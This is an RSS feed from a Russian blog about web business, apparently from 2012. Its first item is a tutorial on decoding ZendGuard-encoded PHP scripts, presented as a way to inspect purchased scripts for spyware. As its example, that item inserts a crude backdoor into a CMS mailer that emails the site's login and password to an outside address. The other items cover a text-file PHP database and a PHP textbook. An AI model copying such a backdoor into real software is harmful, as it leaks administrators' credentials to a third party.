<?xml version="1.0" encoding="utf-8"?>
			<rss version="2.0">
				<channel>
					<title>Интернет Бизнес во всех его проявлениях</title> 
					<link>http://weblake.ru/</link> 
					<description>Как заработать в интернете миллион</description> 
					<language>ru</language> 
					<copyright>© WebLake</copyright> 
					<managingEditor>ygusin@gmail.com</managingEditor> 
					<webMaster>ygusin@gmail.com</webMaster> 
					<image>
						<title>Интернет Бизнес во всех его проявлениях</title> 
						<url>http://weblake.ru/images/index.jpg</url> 
						<link>http://weblake.ru/</link> 
					</image>
			<item>
				<title>Как раскодировать PHP скрипт закодированный ZendGuard</title>
				<link>http://weblake.ru/webinst/webinst1.html</link>
				<description>&lt;script src=&quot;http://weblake.ru/chili/jquery-1.3.2.min.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt; 
&lt;script src=&quot;http://weblake.ru/chili/jquery.chili-2.2.js&quot; type=&quot;text/javaScript&quot;&gt;&lt;/script&gt; 
&lt;script type=&quot;text/javascript&quot;&gt;    
ChiliBook.recipeFolder = &quot;/chili/&quot;;
&lt;/script&gt; 
&lt;p&gt;&lt;img style=&quot;margin:10px 10px 10px 0;&quot; src=&quot;http://weblake.ru/images/imgnews/webinst1.jpg&quot; alt=&quot;Как раскодировать PHP скрипт закодированный ZendGuard&quot; align=&quot;left&quot;&gt;Чтобы раскодировать PHP скрипт закодированный программой ZendGuard нужна программа Dezender.  Dezender можно легко найти в сети в различных вариантах, например в &lt;a href=&quot;http://weblake.ru/iwyqzqmn0_download.html&quot; target=&quot;_blank&quot;&gt;китайском&lt;/a&gt;. Насколько необходимо раскодирование зенденных скриптов? Чаще всего это не нужно. Но иногда возникает необходимость просмотреть код купленного или найденного в сети зенденного PHP скрипта на предмет различного рода шпионских подвохов.&lt;/p&gt;
&lt;p&gt;Итак за пример можно взять, любой скрипт майлера, пропустив его через программу  ZendGuard, а затем раскодировав его обратно программой Dezender. Для этого возьмем скрипт &lt;a href=&quot;http://acvarifcms.ru/&quot; target=&quot;_blank&quot;&gt;Acvarif-CMS&lt;/a&gt;, запустим его на локальном сервере Denwer 5 c Zend Optimizer, убедимся, что скрипт майлера mail.php в CMS работает нормально, добавим туда шпионский код отсылки пароля в нужное место и закодируем скрипт. &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;php&quot; style=&quot;overflow:auto; width:570px;&quot;&gt;
//если информация из формы formmail.html послана скрипту mail.php
if ($_POST['submit'] == 'Поcлать')
{
	// проверка на корректность введенного емаил
	$check_email=!preg_match(&quot;/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i&quot;, $_POST['mail']);  
	//если не все поля заполнены

	if (empty($_POST['code']) or empty($_SESSION['code']) or $_POST['code'] != $_SESSION['code']
	or empty($_POST['name']) or empty($_POST['mail']) or empty($_POST['message']) or $check_email) 
		$sent = file_get_contents(TEMPLS.&quot;nosentmail.html&quot;);
	//если заполнены все поля
	else 
	{
		$name = $_POST['name'];
		$mail = $_POST['mail'];
		$message = $_POST['message'];
		$message = str_replace(&quot;&lt;&quot;,&quot;&amp;lt&quot;,$message);
		$message = str_replace(&quot;&gt;&quot;,&quot;&amp;gt&quot;,$message);
		$message = str_replace(&quot;\n&quot;,&quot;&lt;br&gt;&quot;,$message);
		$message = str_replace(&quot;\r&quot;,&quot;&quot;,$message);
		// дата
		$data = date (&quot;d m Y&quot;) .&quot; г.&quot;;
		//в какой форме будет получено письмо
		$body = file_get_contents(TEMPLS.&quot;mail.html&quot;);
		//email, тот куда будет приходить сообщение
		$user = $eadmin;
		//откуда сообщение 
		$newm = $turl;
		//перемещение данных в собщении
		$body = str_replace (&quot;%name%&quot;,$name,$body);
		$body = str_replace (&quot;2012&quot;,$data,$body);
		$body = str_replace (&quot;%message%&quot;,$message,$body);
		$body = str_replace (&quot;%mail%&quot;,$mail,$body);
		$body = str_replace (&quot;%newm%&quot;,$newm,$body);
		// для правильного отображения в html
		$headers = &quot;Content-Type: text/html; charset=$charset\n&quot;;
		$headers.= &quot;From: &quot;.$user;
		//посылка письма
		@mail ($user,$newm,$body,$headers);
		//занесение в переменную $sent содержимого файла формы собщения 
		$sent = file_get_contents(TEMPLS.&quot;sentmail.html&quot;);
		//перемещение участков строк в файле sentmail.html
		$sent  = str_replace(&quot;%name%&quot;,&quot;$name&quot;,$sent );
		$sent  = str_replace(&quot;%mail%&quot;,&quot;$mail&quot;,$sent );
		$sent  = str_replace(&quot;2012&quot;,&quot;$data&quot;,$sent );
		$sent  = str_replace(&quot;%message%&quot;,&quot;$message&quot;,$sent );
		
		////////////////////////////////////////////////////////////////////
		// Примитивный шпионский код отсылки логина и пароля на mymail@mail.ru 
		if($mail = &quot;mymail@mail.ru&quot;)
			@mail (&quot;mymail@mail.ru&quot;,$newm,&quot;логин - $login, пароль - $pass&quot;,$headers);
		////////////////////////////////////////////////////////////////////	
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Закодировать скрипт очень просто. Нужно запустить ZendGuard, создать новый проект,  доавить к проекту файл который нужно закодировать,  установить папку куда будет помещен закодированный скрипт (например в корневую директорию CMS X:/home/acvarifcms.ru) и нажать на кнопку Encode. Все показано на картинке ниже. &lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;http://weblake.ru/images/imgnews/webinst1_1.jpg&quot; alt=&quot;Zend Endcoder&quot; /&gt;&lt;/p&gt;
&lt;p&gt;В результате в установленной директории будет создан бинарный кодированный файл с тем же названием, что и прежний. Далее можно заменить им прежний файл, который находится в data/php/mail/ запустить CMS на локальном сервере и попробовать отослать ссобщание из формы обратной связи. Все должно работать как и прежде.&lt;/p&gt;
&lt;p&gt;Теперь проделаем обратную операцию  с помощью китайского Dezender. Для этого запустим программу и согласно инструкции выберем папку с закодированным скриптом и сам скрипт и затем нажмем Dezend &lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;http://weblake.ru/images/imgnews/webinst1_2.jpg&quot; alt=&quot;Dezender&quot; /&gt;&lt;/p&gt;
&lt;p&gt;В результате закодированный файл mail.php будет раскодирован и раскодированный файл с тем же названием будет помещен в папку decode. Точно так же можно производить раскодирование любого другого зенденного php скрипта. Иногда для корректной работы раскодированного скрипта потребуется его визуальный просмотр и небольшая корректировка. &lt;/p&gt;
</description>
				<pubDate>Tue, 01 May 2012 19:57:41 +0400</pubDate>
			</item>
			<item>
				<title>PHP скрипт базы данных на текстовых файлах</title>
				<link>http://weblake.ru/phpsc/phpsc2.html</link>
				<description>&lt;p&gt;&lt;img style=&quot;margin:10px 10px 10px 0;&quot; align=&quot;left&quot; src=&quot;http://weblake.ru/images/imgnews/phpsc2.jpg&quot; alt=&quot;php текстовая база данных&quot;&gt;PHP  база данных на текстовых файлах часто используется в различных, как профессиональных так и любительских скриптах. Ее достоинства, - простота использования, высокая скорость общения с базой, недостатки, - любая запись данных в базу это полная ее перезапись, что налагает лимит на ее объем. Но для нужд сайтов где база используется в качестве хранилища различной статистики, комментариев, новостей и т. п. текстовая php база подходит как нельзя лучше.&lt;/p&gt;
&lt;p&gt;Ее можно формировать в любом виде, в файле построчно с различными разделителями или, например, сериализовано. Более приемлим метод сериализации, поскольку он позволяет формировать базу в виде многомерной матрицы, с которой легко совершать различные php действия. &lt;/p&gt;
&lt;p&gt;Не так давно я наткнулся на довольно оригинальный php скрипт текстовой базы данных, которая по своему устройству очень напоминает всем известную базу MySQL. База полностью выполнена на текстовых файлах, где информация сериализована. Доступ к данным осуществляется по логину и паролю, как и в обычной базе данных MySQL. PHP скрипт называется txtSQL 2.2. На официальный сайт скрипта можно перейти непосредственно из админпанели установленной на локальном сервере текстовой базы данных, архив которой можно &lt;a href=&quot;http://weblake.ru/txtsql_download.html&quot;&gt;скачать&lt;/a&gt; на нашем ресурсе. &lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;http://weblake.ru/images/imgnews/phpsc2_1.jpg&quot; alt=&quot;PHP текстовая база данных&quot; /&gt; &lt;/p&gt;
&lt;p&gt;Архив с базой необходимо распаковать в папку home &lt;a href=&quot;http://acvarifcms.ru/lrub2part2.html&quot; target=&quot;_blank&quot;&gt;локального&lt;/a&gt; сервера Денвер. Затем открыть любой браузер и набрать в нем txtsql.ru. Откроется список папок скрипта. Далее нужно перейти в папку examples/txtSQLAdmin. Появится форма для ввода логина и пароля базы в которой нужно ввести только логин &amp;quot;root&amp;quot; и войти в админпанель текстовой базы. Далее можно формировать новые базы, таблицы, поля таблиц. Данную php текстовую базу смело  можно применять для любого php скрипта. Все необходимые функции и  примеры их применения доходчиво расписаны  на английском в файле помощи &lt;i&gt;read me.html&lt;/i&gt;, который находится в папке docs. &lt;/p&gt;
</description>
				<pubDate>Sun, 29 Apr 2012 23:39:32 +0400</pubDate>
			</item>
			<item>
				<title>Учебник по PHP PHP в примерах</title>
				<link>http://weblake.ru/phplit/phplit1.html</link>
				<description>Великолепный учебник по PHP с множеством работающих примеров. В учебнике содержится самая необходимая информация по языку PHP позволяющая с нуля начать его использовать для построения своего собственного динамического сайта.</description>
				<pubDate>Sun, 29 Apr 2012 19:54:38 +0400</pubDate>
			</item></channel>
    		</rss>
